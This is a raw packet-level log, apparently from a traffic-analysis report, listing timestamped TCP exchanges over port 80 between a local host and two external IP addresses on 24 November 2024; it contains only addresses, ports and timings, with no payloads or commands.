Nov 24, 2024 12:24:28.126974106 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.127052069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.127100945 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.127861023 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.128001928 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.128045082 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.128650904 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.128771067 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.129479885 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.129540920 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.129582882 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.130336046 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.130392075 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.130446911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.131169081 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.131220102 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.131232023 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.131269932 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.131982088 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.132045031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.132093906 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.132844925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.132931948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.132991076 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.133656025 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.133884907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.134443998 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.134485006 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.134605885 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.135427952 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.135477066 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.135523081 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.136173010 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.136219978 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.136250019 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.136291981 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.136979103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.137073040 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.137120962 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.137808084 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.137897015 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.137943983 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.138644934 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.138700008 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.138719082 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.138750076 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.138789892 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.138791084 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.138880014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.139172077 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.139230967 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.139277935 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.139455080 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.139504910 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.139738083 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.140314102 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.140363932 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.140378952 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.140381098 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.140381098 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.140403986 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.140456915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.140499115 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.141144991 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.141277075 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.141395092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.141448975 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.141452074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.141760111 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.141876936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.141933918 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.142015934 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.142121077 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.142456055 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.142807961 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.142837048 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.142853975 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.142899990 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.142903090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.142946005 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.143637896 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.143677950 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.143729925 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.143775940 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.143954039 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.144078016 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.144128084 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.144464016 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.144586086 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.144630909 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.145050049 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.145092964 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.145159960 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.145299911 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.145342112 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.145385981 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.146424055 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.146631002 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.146699905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.146717072 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.146744013 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.146764040 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.146786928 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.147007942 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.147058010 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.147088051 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.147284031 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.147330999 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.147339106 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.147372007 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.147790909 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.147851944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.147903919 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.147947073 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.148360014 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.148490906 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.148544073 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.148627043 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.148720026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.148766994 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.149482965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.149539948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.149557114 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.149609089 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.149610996 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.149627924 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.150305986 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.150353909 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.150401115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.150438070 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.150610924 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.150676966 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.150707960 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.150753975 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.151139975 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.151236057 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.151741028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.151792049 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.151794910 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.151807070 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.151999950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.152045965 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.152127028 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.152173042 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.152889013 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.152931929 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.152949095 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.152986050 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.153032064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.153651953 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.153670073 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.153754950 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.153803110 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.153917074 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.153960943 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.154030085 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.154068947 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.154485941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.154592991 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.154638052 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.155019045 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.155065060 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.155142069 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.155186892 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.155292988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.155436993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.156115055 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.156183958 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.156184912 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.156258106 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.156276941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.156295061 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.156325102 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.156339884 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.157038927 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.157144070 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.157227993 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.157282114 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.157288074 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.157339096 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.157788992 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.157840014 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.157886982 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.157932043 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.158318996 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.158442020 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.158449888 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.158494949 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.158633947 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.158704042 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.158921003 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.159425974 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.159471989 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.159576893 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.159622908 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.160541058 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.160584927 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.160681009 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.160722017 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.161638975 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.161685944 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.161803007 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.161851883 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.162748098 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.162843943 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.162897110 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.163844109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.163898945 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.163949013 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.163995028 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.164997101 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.165036917 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.165043116 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.165071964 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.166059017 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.166104078 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.166172981 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.166217089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.167160988 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.167207003 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.167253017 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.167294979 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.168283939 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.168325901 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.168451071 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.168498039 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.169389009 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.169439077 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.169469118 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.169512987 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.170510054 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.170557976 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.170604944 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.170650959 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.171603918 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.171648979 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.171744108 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.171789885 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.172696114 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.172741890 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.172760963 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.172804117 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.173839092 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.173883915 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.173968077 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.174012899 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.174935102 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.174979925 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.175076008 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.175120115 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.176035881 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.176081896 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.176131010 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.176175117 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.177122116 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.177170038 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.177216053 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.177270889 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.178282022 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.178327084 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.178366899 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.178446054 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.179323912 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.179366112 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.179418087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.179465055 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.180438995 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.180484056 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.180531979 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.180579901 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.181555033 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.181598902 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.181644917 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.181689024 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.182647943 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.182694912 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.182740927 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.182785034 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.183784962 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.183829069 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.183871031 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.183914900 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.184853077 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.184920073 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.184966087 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.185024023 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.185961008 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.186019897 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.186065912 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.186110973 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.187073946 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.187119007 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.187180042 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.187223911 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.188190937 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.188235998 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.188287973 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.188325882 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.189289093 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.189332962 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.189393997 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.189438105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.190382004 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.190426111 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.190496922 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.190541029 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.191684008 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.191730022 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.191910028 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.191955090 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.192657948 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.192765951 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.192790031 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.192816019 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.193725109 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.193774939 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.193829060 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.193871975 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.194839954 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.194868088 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.194892883 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.194941044 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.195879936 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:28.195925951 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:28.250241041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.250268936 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.250328064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.250344038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.250369072 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.250407934 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.251013041 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.251125097 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.251171112 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.251837015 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.251966000 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.252012014 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:28.252682924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.252823114 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.253519058 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:28.253566027 CET	49792	80	192.168.2.4	34.116.198.130
